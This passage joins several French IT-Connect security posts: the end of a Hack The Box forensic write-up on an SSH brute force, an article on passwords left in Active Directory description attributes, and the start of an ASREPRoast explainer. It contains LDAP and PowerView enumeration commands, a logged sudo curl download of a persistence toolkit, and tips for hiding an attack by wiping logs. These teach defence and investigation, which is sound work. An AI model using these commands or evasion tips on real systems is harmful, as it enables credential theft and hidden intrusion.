Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence

Quelques lignes plus loin, nous avons l'information recherchée "New session 34", mais si l'on regarde la ligne suivante et l'horodatage de l'ensemble, on remarque que l'attaquant s'est déconnecté la même seconde, donc immédiatement. Il s'agit donc là de la connexion réussie réalisée par son outil de brute force, et non d'une connexion "manuelle" qui aurait eu un temps d'existence plus long. Là est aussi l'intérêt d'étudier également le fichier "wtmp", qui présente les mêmes informations de manière plus claire. Dans le fichier "auth.log", nous voyons bien que les informations relatives à une seule connexion sont sur plusieurs lignes et séparées par des informations concernant d'autres sessions.

Le second match nous indique une seconde session, qui elle n'est pas immédiatement déconnectée : "New session 37 of user root".

E. Tâche n°5 : création d'un accès persistant

• Énoncé - Task 5 : The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

D'après l'énoncé, l'attaquant aurait créé un accès dérobé sur le système compromis. À nouveau, l'étude du contenu du fichier "auth.log" nous renseigne sur un évènement de création d'un utilisateur, peu après la connexion de l'attaquant avant le compte "root" :

$ grep "65.2.161.68" auth.log | tail 
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie

Il semble donc que l'attaquant se soit créé un compte utilisateur pour pouvoir revenir plus tard sur le système, lui assurant ainsi un accès en cas de changement du mot de passe du compte "root". Le compte ici créé parait donc être "cyberjunkie", l'attaquant est venu s'y connecter juste après l'avoir créé.

$ grep "65.2.161.68" "cyberjunkie" auth.log
[...]
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

F. Tâche n°6 : TTP du MITRE ATT&CK

• Énoncé - Task 6 : What is the MITRE ATT&CK sub-technique ID used for persistence?

Il nous est ici demandé de catégoriser cette opération de l'attaquant par rapport au framework du MITRE ATT&CK. La recherche peut être un peu fastidieuse si vous n'êtes pas du tout familier du framework. On peut déjà orienter nos recherches sur la catégorie "Persistence" qui concerne les opérations menées dans le but de maintenir un accès dans le temps sur un système compromis :

Après avoir parcouru les différents TTP de cette "Tactic", il semble ici que ce soit le TTP 1136.001 qui corresponde le mieux à notre situation :

G. Tâche n°7 : Temps de session SSH

• Énoncé - Task 7 : How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

Cet énoncé nous demande de trouver la durée de la session utilisateur en tant que "root". Il faut pour cela se baser sur l'horodatage des journaux d'évènements relatifs à la connexion et déconnexion de cette session :

$ grep -i "session 37" auth.log
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.

Le temps total de la session est de 279 secondes.

H. Tâche n°8 : Commande sudo

• Énoncé - Task 8 : The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

D'après l'énoncé, l'attaquant a utilisé son compte "cyberjunkie" afin d'élever ses privilèges en tant que "root" sur le système en utilisant la commande "sudo".

La commande "sudo" sur les systèmes Linux permet aux utilisateurs autorisés d'exécuter des commandes avec les privilèges d'autres utilisateurs, généralement "root". Elle permet d'attribuer des sortes de dérogation d'élévation de privilège sur des commandes précises. Certaines dérogations, si elles sont mal définies ou portent sur des commandes "vulnérables" peuvent être utilisées par l'attaquant pour outrepasser le seul périmètre de la commande et obtenir une session en tant que root.

On parle alors de "sudo escape" : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Nous pouvons utiliser la commande "grep" sur le terme "sudo" et repérer rapidement la commande en question :

$ grep "sudo" auth.log 
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for use

L'attaquant a donc utilisé la commande "sudo" afin de télécharger sur internet un script nommé "linper.sh", que nous pouvons d'ailleurs consulter de nous même : https://github.com/montysecurity/linper :

Il s'agit d'une boîte à outil de persistance ("persistence toolkit") pour les OS Linux, il vise à proposer plusieurs méthodes de persistance pour s'implanter de façon durable sur un système Linux compromis.

IV. Résumé de l'attaque

Au cours de cette investigation, nous avons pu étudier la cyberattaque menée sur notre serveur par un attaquant. Les journaux d'évènements nous ont permis de déterminer qu'une attaque par brute force a été menée sur le service SSH, sans connaissance préalable de comptes utilisateurs existants (mis à part un compte par défaut : "root"). L'opération a permis à l'attaquant de découvrir le mot de passe du compte "root". Compte qui a été utilisé pour créer un compte de persistance ("cyberjunkie") par l'attaquant et ajouter à ce compte un moyen d'exécuter des commandes en tant que root par l'intermédiaire d'une dérogation "sudo".

Cette dérogation a ensuite été utilisée par l'attaquant afin de télécharger le script bash "linper.sh", hébergé sur Github. Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :

TTP (MITRE ATT&CK)	Détails
T1110.001 - Brute Force: Password Guessing	Réalisation d'une attaque par bruteforce sur l'accès SSH.
T1078.003 - Valid Accounts: Local Accounts	Authentification en tant que "root" .
TTP1136.001 - Create Account: Local Account	Création d'un compte utilisateur local ("cyberjunkie").
T1098 - Account Manipulation	Ajout d'une dérogation sudo à ce nouvel utilisateur permettant d'exécuter des commandes en tant que "root"
T1078.003 - Valid Accounts: Local Accounts	Connexion SSH avec l'utilisateur nouvelle créé
T1608.002 - Stage Capabilities: Upload Tool	Téléchargement d'un script "linper.sh" depuis Internet sur la cible via "sudo" et "curl".

Et voilà ! Nous sommes arrivés au bout de l'exercice d'investigation :

V. Notions abordées

Nous allons à présent mettre en avant les principales notions et apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :-).

A. Côté analyste

Nous avons vu dans cet exercice qu'il est important de se familiariser avec les logs classiques du système d'exploitation que l'on souhaite analyser. Connaitre le rôle et le format des journaux du fichier "auth.log" et les subtilités du fichier "wtmp" (commande "last") nous a permis de rapidement trouver les informations demandées.

Également, disposer d'un jeu de commandes préconçu pour rechercher des informations précises (expression régulière pour les adresses IP) ou faire des statistiques rapidement serait un plus, notamment en utilisant des outils qui permettent de rechercher et utiliser rapidement ces commandes comme "arsenal" :

• Avec arsenal, créez un inventaire de vos commandes Linux favorites et gagnez en efficacité

B. Côté défense

Côté défense, plusieurs bonnes pratiques devraient être mises en place pour se protéger des attaques observées dans cette investigation :

• Il est dans un premier temps recommandé de durcir la configuration SSH avec d'éviter le brute force SSH et d'interdire les connexions SSH en tant que root.
• La mise en place de solutions "tierces" peut aussi être envisagée afin de se protéger des attaques par brute force, cela peut passer par le durcissement de la configuration "pam.d", la mise en place d'un service Fail2Ban ou Crowdsec.
  • Retrouvez nos tutoriels Fail2ban.
  • Retrouvez nos tutoriels CrowdSec.
• Également, il peut être recommandé de durcir la politique de mot de passe de l'utilisateur root, et par extension de l'ensemble des utilisateurs du système concerné. Peu importe la wordlist utilisée, le mot de passe d'un utilisateur privilégié ne devrait jamais s'y trouver, cela indique l'utilisation d'un mot de passe probablement faible.
• Il peut aussi être recommandé de mettre en place des restrictions, voire une interdiction totale d'accès à Internet de la part des serveurs si cela ne répond pas à un besoin justifié (l'application de mises à jour n'en étant pas une, il est préférable de passer par un serveur APT interne et maitrisé). Cela dans le but de bloquer ou ralentir la démarche de l'attaquant lors des opérations d'exfiltration d'informations ou d'import d'outils offensifs.

C. Côté attaquant

L'attaquant aurait, lui aussi, pu améliorer son attaque de plusieurs manières, notamment pour complexifier la tâche de l'analyste ou gagner en discrétion :

• L'attaquant aurait pu étaler son attaque par brute force dans le temps afin de complexifier la tâche d'investigation de l'analyste, qui aurait dû trier des connexions légitimes et les connexions malveillantes. En fonction de la configuration de la journalisation, cela aurait également pu étaler les évènements dans plusieurs fichiers grâce à la rotation des journaux, voire entrainer une suppression au bout d'un certain volume ou ancienneté.
• Un attaquant avec plus de moyens aurait aussi pu distribuer son attaque par brute force depuis plusieurs adresses IP afin de gagner en discrétion. Il aurait lors été plus complexe de faire une corrélation entre différentes tentatives d'authentification. Cela se fait généralement à l'aide de ressources Cloud hébergées dans plusieurs pays ou de botnet loués pour l'occasion :
  • T1583 - Acquire Infrastructure
• Le téléchargement d'une ressource depuis un dépôt GitHub facilite la tâche de l'analyste qui peut rapidement identifier l'outil, son objectif, voir découvrir des éléments de signature lui permettant de le retrouver et le supprimer sur le système. Sans vraiment modifier le script lui-même, l'attaquant aurait pu passer par un serveur web temporaire pour que l'analyste ne puisse pas facilement identifier l'outil et une modification du nom du script afin de gagner du temps sur l'investigation et en discrétion.
  • T1036 - Masquerading
• L'analyse ici menée a été réalisée à 100% grâce aux journaux d'évènements du système lui-même, nous avons notamment pu découvrir les opérations de post-exploitation de l'attaquant (opérations menées après compromissions du système). Une fois les droits root obtenus, l'attaquant aurait pu stopper la production ou l'exfiltration des journaux d'évènements afin de gagner en discrétion au moment de l'attaque et de rendre quasi impossible la démarche d'investigation par la suite. Une simple suppression des journaux locaux aurait été possible grâce aux droits root par exemple. L'effacement des traces et une technique assez classique de post-exploitation par les attaquants réels et leur permet de couvrir toutes les pistes potentielles laissées lors de l'intrusion.
  • T1562.012 - Impair Defenses: Disable or Modify Linux Audit System
  • T1562.003 - Impair Defenses: Impair Command History Logging
  • T1070.002 - Indicator Removal: Clear Linux or Mac System Logs
  • T1070.003 - https://attack.mitre.org/techniques/T1070/003/

VI. Conclusion

J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis !

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack the box – Sherlocks (forensic) : découverte et solution de Brutus first appeared on IT-Connect.

I. Présentation

Dans cet article, nous allons nous intéresser à une mauvaise pratique encore très présente au sein des équipes d'administration et des annuaires Active Directory : le stockage de mots de passe dans l'attribut "description" des objets utilisateurs.

Nous allons voir en quoi cette pratique est dangereuse pour le domaine et pourquoi son existence et ses impacts sont souvent méconnus. Également, nous nous intéresserons de façon très pratique à la manière dont attaquants et défenseurs peuvent détecter et exploiter cette faille au sein d'un Active Directory.

Enfin, nous verrons quelles sont les bonnes pratiques et les difficultés de détection, aussi bien lors de l'introduction de la vulnérabilité dans l'Active Directory que lors de son exploitation par un attaquant.

• Sécurité de l'Active Directory - Découverte de l'attaque ASREPRoast

II. Mot de passe dans l'attribut description : quels risques ?

Lorsque l'on administre un système d'information et un domaine, nous avons accès à des outils, interfaces et serveurs auquel personne d'autres n'a accès dans l'entreprise. Ainsi, il est aisé de croire que nous seul avons accès aux différentes informations que nous manipulons : ce n'est pas tout à fait vrai.

Au sein de l'Active Directory, tous les objets ont de nombreux attributs, techniques et métier. Le "dn", "sAMAccountName", les attributs relatifs aux groupes, aux mots de passe, etc. L'attribut "description" en fait partie, il s'agit d'un simple champ texte permettant d'indiquer des informations sur l'objet créé :

Plutôt pratique lorsque l'on souhaite, par exemple, se rappeler pour quel service ce compte a été créé, quel est le nom complet du propriétaire lorsque l'on crée des objets non nominatifs ("XR-23-OP"), etc.

Lorsque l'on combine ces deux constats, les administrateurs peuvent penser que la description peut aussi permettre de stocker les mots de passe des comptes dont ils ne se serviront pas tous les jours ou que plusieurs membres de l'équipe sont susceptibles de manipuler (comptes "communs" ou de services par exemple). Dès lors, quoi de plus pratique que d'établir une convention implicite : "si tu cherches le mot de passe de ce compte, il est dans sa description AD" ?

Cependant, il est souvent oublié que la quasi-totalité des attributs de tous les objets sont lisibles par tous les comptes authentifiés de l'Active Directory (utilisateurs, ordinateurs, etc.). C'est ainsi que fonctionne l'Active Directory et il en va de son bon fonctionnement. Si vous avez déjà parcouru mon cours sur BloodHound, vous verrez que cela permet d'aller très loin dans la découverte d'un domaine et même d'y découvrir des chemins d'attaque complets.

Pour l'attribut "description" par exemple, il pourrait très bien être utilisé par une application de tchat interne se reposant sur l'annuaire pour afficher la description de l'utilisateur avec lequel vous discutez. Il faut donc bien que cet attribut soit accessible en lecture.

Cette mauvaise pratique, très commune d'après mon expérience en tant qu'auditeur cybersécurité et pentester, est souvent exploitée par les attaquants ayant déjà un accès authentifié au domaine afin de compromettre rapidement d'autres comptes. Ce type d'attaque dispose même d'un TTP dans le framework MITRE ATT&CK, qui référence les principales techniques d'attaque (T1552 - Unsecured Credentials) :

III. Point de vue de l'attaquant

A. Depuis Linux

À présent, nous allons voir comment un attaquant disposant d'un accès authentifié au domaine (mode opératoire "boite grise"), peut récupérer les descriptions des objets utilisateurs du domaine depuis un poste Linux. De nombreux outils offensifs ont été développés, notamment en Python et bash, pour les OS Linux.

• Utilisation de ldapsearch

L'outil le plus simple pour commencer est bien sur "ldapsearch", un client plutôt classique et légitime pour discuter avec le service LDAP :

ldapsearch -H ldap://it-connect.tech -x -b 'dc=it-connect,dc=tech' -D [email protected] -w 'Abcd1234' description

Ici, nous obtenons rapidement toutes les descriptions de tous les utilisateurs C'est un début (plutôt verbeux), cherchons maintenant des mots de passe.

D'après mon expérience, certains caractères sont spécifiques à la présence de mots de passe et rarement présents dans des descriptions textuelles simples, c'est notamment le cas du ":" et du "=". C'est aussi le cas de certains mots comme "mdp", "pass" ou "mot de passe".

Nous pouvons ajouter des filtres, bien que ce soit quelque peu fastidieux via "ldapsearch" :

ldapsearch -H ldap://it-connect.tech -x -b 'dc=it-connect,dc=tech' -D [email protected] -w 'Abcd1234' '(&(
objectClass=User) (|(description=**=)(description=*:*)(description=*mdp*) (description=*pass*) (description=*mot de passe*)))' description

Voici un exemple de résultat obtenu :

Le résultat est un peu verbeux, mais tout à fait exploitable.

• Utilisation de netexec

Nous pouvons également utiliser "netexec" (anciennement "crackmapexec"), qui dispose d'un module fait pour ce type de recherche.

netexec ldap 192.168.56.102 -u mmartin -p 'Abcd1234' -d it-connect.tech -M user-desc

Nous utilisons ici le module "user-desc" de "netexec", celui-ci va tout d'abord nous ressortir toutes les descriptions des objets utilisateurs contenant le mot de "pass".

Comme vous pouvez le voir dans la dernière ligne de la sortie, "netexec" va également sauvegarder toutes les descriptions des utilisateurs dans un fichier de log, dans lequel nous pourrons faire nos propres recherches, exemple :

• Utilisation de Cypher

Enfin, si vous avez utilisé "SharpHound.exe" pour extraire les données de l'Active Directory et que vous les avez importées dans BloodHound, voici une requête "Cypher" à utiliser dans la base "Neo4j" pour avoir une recherche équivalente à celles faites précédemment :

MATCH (u:User)
WHERE u.description CONTAINS "="
OR u.description CONTAINS ":"
OR u.description CONTAINS "mdp"
OR u.description CONTAINS "pass"
OR u.description CONTAINS "mot de passe"
RETURN u.samaccountname,u.description

Voici un exemple de résultat obtenu :

Si vous souhaitez apprendre à utiliser BloodHound, n'hésitez pas à consulter mon cours sur le sujet :

• Identifiez les faiblesses de votre Active Directory avec BloodHound

B. Depuis un poste Windows

Nous allons à présent voir comment récupérer ces informations en tant qu'attaquant sur un poste Windows, intégré ou non au domaine : la différence n'est pas très importante lorsque l'on dispose d'un compte de domaine valide.

Utilisons pour cela "PowerView" de la suite PowerSploit, un ensemble de scripts PowerShell offensifs (un peu l'équivalent de la librairie "impacket" sous Linux) :

Get-Netuser | Select -Property UserPrincipalName,description

Voici un exemple de résultat attendu :

Là aussi, nous récupérons facilement les descriptions utilisateurs et pouvons appliquer des filtres de recherche :

Get-NetUser |Select -Property UserPrincipalName,description | Where-Object {$_.description -like "*pass*"}

Nous venons de voir que sous Linux comme sous Windows, la récupération des descriptions des objets de l'Active Directory est triviale et même réalisable avec des outils natifs et non "offensifs" ("ldapsearch"). Il faut également savoir que si votre Active Directory est affecté par certaines mauvaises configurations, ces informations peuvent aussi être récupérées sans authentification, par exemple, en cas d'accès anonyme autorisé au service LDAP de l'Active Directory.

IV. Point de vue du défenseur

A. Identifier les mots de passe dans les descriptions

Si vous êtes en charge de l'administration du domaine et avez accès au contrôleur de domaine. La première bonne pratique est déjà de constater si des mots de passe sont présents dans la description de vos objets. Vous pouvez ouvrir la console "Utilisateurs et ordinateurs Active Directory" et trouver la description des objets dans l'affichage central :

Pour trouver et modifier la description d'un objet, il faut faire un clic droit "Propriétés" sur l'objet en question, puis se rendre sur "Général" :

Vous pouvez faire la même opération en PowerShell avec la cmdlet "Get-ADUser", issue du module "Active Directory". Une première requête va nous afficher toutes les descriptions utilisateurs non vides :

Get-ADUser -Filter {description -like '*'} -Properties samaccountname, description | Select-Object samaccountname, description

L'intérêt ici est que nous récupérons toutes les valeurs d'un seul coup. Voici le résultat attendu :

Comme l'attaquant, nous pouvons appliquer des filtres sur certains caractères ou mots caractéristiques de la présence de mots de passe :

Get-ADUser -filter {description -like '=' -or description -like 'pass' -or description -like '*mdp*' -or description -like '*mot de passe*'} -Properties samaccountname, description | Select-Object samaccountname,description

Voici un résultat possible :

Il s'agit là déjà d'une bonne base de recherche. Si vous souhaitez aller plus loin et être sûr qu'aucun mot de passe n'est présent, il faudra parcourir les données affichées manuellement.

Nous nous limitons aux utilisateurs ici, mais cela vaut peut-être également le coup de chercher dans les descriptions d'autres types d'objets ? Également, maintenant que vous avez ces quelques commandes sous la main, pourquoi ne pas planifier un contrôle régulier du contenu des attributs "description" des objets de l'Active Directory ? Afin de mettre en place cette sécurisation dans la durée.

B. Correctif et bonnes pratiques de sécurité

Nous allons à présent voir comment corriger cette faiblesse si vous la découvrez sur votre domaine. Dans un premier temps, il convient de savoir s'il est légitime de stocker ce mot de passe, doit-il être utilisé par plusieurs personnes (cas d'un compte de service) ? Si c'est le cas, il est recommandé de stocker ce mot de passe dans un coffre-fort numérique, partagé avec votre équipe si besoin est. Ensuite, la correction en elle-même est plutôt simple : Modifier la description.

Via l'interface graphique, il suffit de faire un clic droit "Propriétés" et de modifié la valeur de l'attribut "description", tel que montré plus haut :

Il est également possible de le faire via PowerShell, en utilisant la CmdLet "Set-ADUser" du module "Active Directory" :

Set-ADUser Topdesk -Description $null

Vous pourrez immédiatement contrôler le résultat de "Set-ADUser" avec la CmdLet "Get-ADUser" :

Pour être très pointilleux, vous pouvez même remplacer le contenu de la description par "Description supprimée par XXX le XX/XX/XXXX". Ainsi, il n'y aura pas de mauvaise surprise pour votre collègue qui a l'habitude de récupérer ce mot de passe à cet endroit, et il pourra venir vous demander où est ce fameux mot de passe à présent :).

• Évoquons à présent les bonnes pratiques concernant le stockage des mots de passe :

Les mots de passe ne doivent jamais être stockés de manière non sécurisée (chiffrée) et sur des supports, physiques ou numériques, accessibles à tous (même chiffrés).

Lorsque le besoin de partager des mots de passe est présent (cas pour un compte de service, susceptibles d'être géré par plusieurs personnes), il est recommandé d'utiliser des coffres-forts de mots de passe. KeePass est une bonne option, mais peut être limité en ce qui concerne le partage d'information, son usage est d'ordinaire plutôt personnel. Des solutions existent pour le partage de mot de passe, on peut notamment citer le projet Bitwarden qui permet de gérer les permissions et journaliser les accès aux mots de passe (vous pouvez auto-héberger Bitwarden).

Lorsqu'il s'agit de mots de passe de compte utilisateur (dans le sens utilisateur humain du système d'information) : l'administrateur n'a pas à le connaitre, ce mot de passe n'a donc rien à faire dans un attribut quel qu'il soit.

La bonne pratique d'assignation des mots de passe utilisateur consiste à paramétrer un mot de passe (aléatoire et différent à chaque utilisateur) à un compte, et de cocher la case "L'utilisateur doit changer ce mot de passe à la prochaine ouverture de session". L'utilisateur pourra alors paramétrer un mot de passe qui lui est propre ensuite.

Si le besoin d'invoquer un argument d'autorité se fait sentir, nous pouvons toujours rappeler la directive n°11 du guide d'hygiène informatique de l'ANSSI :

Il est également recommandé de changer les mots de passe des comptes concernés. En effet, les mots de passe ayant été exposés "publiquement" par le passé, n'importe qui peut les avoir récupérés et donc continuer de les utiliser. Sans parler de la présence de cette information dans d'éventuels backups de la base NTDS, export des données de l'AD (BloodHound, PingCastle), etc.

Enfin, il convient également sensibiliser et former les administrateurs aux bonnes pratiques de sécurité et risques liés au stockage non sécurisé des mots de passe :

• Identifiant de la remédiation dans le framework MITRE ATT&CK : M1017 - User Training
• Directive n°1 du guide d'hygiène de l'ANSSI : Former les équipes opérationnelles à la sécurité des systèmes d’information

Les simulations de cyberattaques, telles que les tests d'intrusion ou les opérations Red Team, offrent également une opportunité de mettre en lumière de manière très factuelle les mauvaises pratiques en matière de sécurité. Elles permettent de mesurer concrètement l'impact de ces pratiques sur la sécurité du système d'information et, par extension, sur la résilience de l'entreprise. Cela permet aussi parfois de bousculer certaines certitudes en incitant à une ouverture d'esprit et à une révision des positions figées.

C. Possibilité de détection de l'attaque

Nous allons à présent nous intéresser aux possibilités de détection de l'exploitation de cette vulnérabilité ou de son introduction au sein de l'Active Directory via les journaux d'évènements. Concernant la détection, et sur un Active Directory disposant des règles d'audit par défaut, les choses se compliquent quelque peu.

Pour étudier les évènements produits lors de la récupération des descriptions, j'effectue 10 fois de suite une récupération de la description des 2500 utilisateurs de mon Active Directory depuis un poste Linux, histoire de générer un beau volume de requêtes :

Voici le volume de logs produits durant le temps de l'attaque, que je visualise dans ElasticSearch :

59 évènements, ce qui est plutôt faible au regard du nombre d'éléments récupérés et en sachant que mon Active Directory est dans un lab vide, et non dans un vrai SI avec de l'activité. Si j'interroge ELK sur les top évènements générés, voici ce qu'il en ressort :

Voici la description des principaux évènements :

• 4624 : An account was successfully logged on.
• 4634 : An account was logged off
• 4776 : The computer attempted to validate the credentials for an account.

Pour faire simple : aucun évènement n'est journalisé mis à part l'ouverture et la fermeture d'une session. Autrement dit, cette opération passe totalement inaperçue.

Autre point potentiellement intéressant, nous pouvons tenter de voir si les journaux d'évènement peuvent nous aider à détecter l'introduction de la vulnérabilité sur le domaine par un administrateur. Autrement dit, pouvons-nous avoir un évènement/une alerte lorsqu'un utilisateur est créé ou modifié avec une description contenant des caractères/mots caractéristiques d'un mot de passe ?

Lors de la création d'un utilisateur, l'eventID 4720 A user account was created est journalisé, voici son contenu (vue ElasticSearch) :

Lors de la modification d'un utilisateur existant et de l'insertion d'un mot de passe dans sa description, l'eventID 4738 A user account was changed est journalisé, voici son contenu (vue ElasticSearch):

Vous ne voyez pas l'attribut description ? C'est normal, il n'est pas journalisé. Autrement dit, nous sommes à nouveau dans le noir et il est impossible de mettre en place une règle de détection basée sur le contenu du champ "description".

Nous venons de voir que l'objectif de détection parait difficile à atteindre, tant lors d'une "exploitation" (récupération des attributs) et que lors de l'introduction de la vulnérabilité sur le domaine. La seule option qu'il nous reste est donc la réalisation d'audits réguliers, manuels ou scriptés, permettant de chercher des mots de passe dans l'attribut "description" des utilisateurs.

Pour répondre à ce besoin, je vous propose un script PowerShell qui peut être utilisé dans le cadre d'une tâche planifiée déclenchée par un évènement 4738 :

Ce script va, lors de sa première exécution, créer une "archive" : un fichier XML contenant les GUID des utilisateurs et le hash de leur description. Lors des exécutions suivantes, les utilisateurs et descriptions seront récupérés auprès de l'Active Directory, comparés à l'archive créée précédemment et les différences de hash découverts (donc, une modification de la description) entrainerons une journalisation du login utilisateur ainsi que de sa description.

Si l'utilisateur n'existait pas dans l'archive précédente (cas d'une création), sa description sera journalisée également. Enfin, une nouvelle archive sera créée et remplacera la précédente, prête pour la prochaine analyse. Le script créera un évènement ID 1000 dans le journal "Application" :

Voici par exemple une requête KQL (pour ElasticSearch) permettant de chercher quelques mots de clés dans les "event.code 10000" :

event.code:10000 and (winlog.event_data.param2: *pass* or winlog.event_data.param2: *mot de passe* or winlog.event_data.param2: *pwd*)

Et enfin un exemple de détection d'un mot de passe dans une description grâce aux évènements créés par ce script dans ElasticSearch :

• Identifiant de la remédiation dans le framework MITRE ATT&CK : M1047 - Audit

Si vous connaissez d'autres options, eventID ou moyens de détection concernant cette faiblesse et son exploitation, n'hésitez pas à le signaler dans les commentaires de cet article !

V. Conclusion

Nous avons dans cet article fait le tour de la question concernant la présence de mots de passe dans l'attribut "description" des utilisateurs du domaine. Nous avons notamment vu pourquoi cette faiblesse pouvait être présente sur un domaine, comment elle pouvait être exploitée et corrigée. Également, nous avons vu que la détection de l'attaque en question n'est pas aisée, contrairement au contrôle de sa présence au sein de l'Active Directory. Cela va donc dans le sens d'un contrôle régulier de cet attribut et de la sensibilisation des administrateurs sur les bonnes pratiques de stockage des mots de passe.

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post Sécurité de l’Active Directory : les mots de passe dans la description des objets utilisateur first appeared on IT-Connect.

I. Présentation

Dans cet article, nous allons comprendre, exploiter et corriger une vulnérabilité fréquente sur les environnements Active Directory : ASREPRoast.

Ce nom ne vous dit peut-être rien, mais il s'agit d'un défaut de configuration fréquent dans l'Active Directory. L'attaque ASREPRoast permet à un attaquant situé sur un réseau d'entreprise possédant un domaine de compromettre rapidement un compte utilisateur, et ainsi de passer d'un mode opératoire boite noire (attaque sans identifiants valides, juste une connexion au réseau) à un mode boite grise (attaque depuis un compte valide sur le domaine). Le passage d'un mode boite noire à boite grise change en général la donne de façon très importante lors d'une cyberattaque, car l'accès authentifié au domaine permet d'en extraire beaucoup d'informations.

L'objectif de cet article est de vous expliquer en détail cette vulnérabilité. Nous allons notamment voir comment elle peut être introduite sur un Active Directory, comment un attaquant peut l'exploiter et comment un défenseur peut l'identifier et la corriger.

C'est parti !

II. Qu'est-ce que l'attaque ASREPRoast ?

A. Dans les grandes lignes

Commençons par essayer de comprendre le nom de l'attaque. "ASREP" fait référence au message "KRB-AS-REP" du service Kerberos lors d'une authentification (réponse à un message KRB-AS-REQ, une requête d'authentification Kerberos). "Roast" renvoi simplement au mot "rôtir" ou "cuisiner" car l'on devra ensuite travailler un peu sur la donnée obtenue pour pouvoir l'utiliser.

Au sein d'un domaine, l'authentification Kerberos est assurée par le composant Key Distribution Center (KDC) des contrôleurs de domaine. Lorsqu'un utilisateur souhaite accéder à un service ou à une ressource réseau, il doit d'abord obtenir un Ticket Granting Ticket (TGT) auprès du KDC. Pour cela, l'utilisateur envoie une requête de type "KRB-AS-REQ" (Kerberos Authentication Service Request) au KDC, elle contient notamment des informations d'identification de l'utilisateur et une clé liée à son mot de passe.

Le KDC vérifie alors les informations d'identification fournies par l'utilisateur. Si celles-ci sont correctes et que l'utilisateur existe dans le domaine, le KDC lui délivre un TGT. Ce TGT est ensuite utilisé par l'utilisateur pour obtenir des tickets de session (TGS) auprès des services du domaine, lui permettant d'accéder à ceux-ci sans avoir à fournir à nouveau ses informations d'identification. Ce processus s'appelle pre-authentification.

Cependant, il existe une configuration spécifique représentée par un attribut sur les comptes utilisateurs appelé "Do not require Kerberos preauthentication". Cet attribut autorise l'envoi d'un TGT pour un compte sans que le demandeur n'ait prouvé son identité au préalable.

En conséquence, n'importe qui sur le réseau peut obtenir un TGT représentant ce compte utilisateur et tenter d'usurper son identité. Il est important de noter que le TGT obtenu ne peut être utilisé que si la personne qui le détient connaît le mot de passe du compte associé. Cependant, en cas d'utilisation d'un mot de passe faible, le contenu du TGT peut être utilisé pour retrouver le mot de passe du compte utilisateur.

Le TGT ne contient pas directement le mot de passe de l'utilisateur. Mais, il contient des informations chiffrées grâce au secret de l'utilisateur, qui sont utilisés pour prouver l'identité de l'utilisateur lorsqu'il demande des tickets de session ultérieurs. Ainsi, des "traces" du mot de passe s'y trouve, ce qui permet de tenter de casser le TGT pour retrouver le mot de passe en clair.

Cette attaque est très connue des attaquants, si bien qu'elle dispose de son propre TTP (Tactics, Technics and Procedures) dans le framework MITRE ATT&CK : T1558.004- Steal or Forge Kerberos Tickets: AS-REP Roasting.

B. Dans le détail

Regardons à présent dans le détail ce qu'il se passe lors d'une authentification via Kerberos. Pour cela, j'ai effectué une capture réseau des échanges dans différents cas de figures.

• AS-REQ pour un login inexistant

